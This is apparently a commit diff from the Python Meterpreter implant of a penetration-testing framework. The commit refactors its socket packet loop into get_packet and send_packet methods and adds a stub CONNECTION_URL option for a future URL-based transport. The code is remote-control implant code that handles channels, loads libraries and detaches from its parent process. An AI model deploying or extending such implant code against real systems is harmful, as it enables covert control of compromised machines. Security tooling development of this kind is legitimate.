18
18
else :
19
19
has_windll = hasattr (ctypes , 'windll' )
20
20
21
+ try :
22
+ import urllib
23
+ except ImportError :
24
+ has_urllib = False
25
+ else :
26
+ has_urllib = True
27
+
21
28
if sys .version_info [0 ] < 3 :
22
29
is_bytes = lambda obj : issubclass (obj .__class__ , str )
23
30
bytes = lambda * args : str (* args [:1 ])
30
37
#
31
38
# Constants
32
39
#
40
+ CONNECTION_URL = None
33
41
DEBUGGING = False
34
42
35
43
PACKET_TYPE_REQUEST = 0
@@ -284,7 +292,7 @@ def write(self, channel_data):
284
292
export (STDProcess )
285
293
286
294
class PythonMeterpreter (object ):
287
- def __init__ (self , socket ):
295
+ def __init__ (self , socket = None ):
288
296
self .socket = socket
289
297
self .extension_functions = {}
290
298
self .channels = {}
@@ -318,19 +326,29 @@ def add_process(self, process):
318
326
self .processes [idx ] = process
319
327
return idx
320
328
329
+ def get_packet (self ):
330
+ request = None
331
+ if len (select .select ([self .socket ], [], [], 0.5 )[0 ]):
332
+ request = self .socket .recv (8 )
333
+ if len (request ) != 8 :
334
+ self .running = False
335
+ return None
336
+ req_length , req_type = struct .unpack ('>II' , request )
337
+ req_length -= 8
338
+ request = bytes ()
339
+ while len (request ) < req_length :
340
+ request += self .socket .recv (4096 )
341
+ return request
342
+
343
+ def send_packet (self , response ):
344
+ self .socket .send (response )
345
+
321
346
def run (self ):
322
347
while self .running :
323
- if len (select .select ([self .socket ], [], [], 0.5 )[0 ]):
324
- request = self .socket .recv (8 )
325
- if len (request ) != 8 :
326
- break
327
- req_length , req_type = struct .unpack ('>II' , request )
328
- req_length -= 8
329
- request = bytes ()
330
- while len (request ) < req_length :
331
- request += self .socket .recv (4096 )
348
+ request = self .get_packet ()
349
+ if request :
332
350
response = self .create_response (request )
333
- self .socket . send (response )
351
+ self .send_packet (response )
334
352
else :
335
353
# iterate over the keys because self.channels could be modified if one is closed
336
354
channel_ids = list (self .channels .keys ())
@@ -370,7 +388,7 @@ def run(self):
370
388
pkt += tlv_pack (TLV_TYPE_PEER_HOST , inet_pton (client_sock .family , client_addr [0 ]))
371
389
pkt += tlv_pack (TLV_TYPE_PEER_PORT , client_addr [1 ])
372
390
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
373
- self .socket . send (pkt )
391
+ self .send_packet (pkt )
374
392
if data :
375
393
pkt = struct .pack ('>I' , PACKET_TYPE_REQUEST )
376
394
pkt += tlv_pack (TLV_TYPE_METHOD , 'core_channel_write' )
@@ -379,7 +397,7 @@ def run(self):
379
397
pkt += tlv_pack (TLV_TYPE_LENGTH , len (data ))
380
398
pkt += tlv_pack (TLV_TYPE_REQUEST_ID , generate_request_id ())
381
399
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
382
- self .socket . send (pkt )
400
+ self .send_packet (pkt )
383
401
384
402
def handle_dead_resource_channel (self , channel_id ):
385
403
del self .channels [channel_id ]
@@ -390,7 +408,7 @@ def handle_dead_resource_channel(self, channel_id):
390
408
pkt += tlv_pack (TLV_TYPE_REQUEST_ID , generate_request_id ())
391
409
pkt += tlv_pack (TLV_TYPE_CHANNEL_ID , channel_id )
392
410
pkt = struct .pack ('>I' , len (pkt ) + 4 ) + pkt
393
- self .socket . send (pkt )
411
+ self .send_packet (pkt )
394
412
395
413
def _core_loadlib (self , request , response ):
396
414
data_tlv = packet_get_tlv (request , TLV_TYPE_DATA )
@@ -546,5 +564,8 @@ def create_response(self, request):
546
564
os .setsid ()
547
565
except OSError :
548
566
pass
549
- met = PythonMeterpreter (s )
567
+ if CONNECTION_URL and has_urllib :
568
+ met = PythonMeterpreter (s )
569
+ else :
570
+ met = PythonMeterpreter (s )
550
571
met .run ()
0 commit comments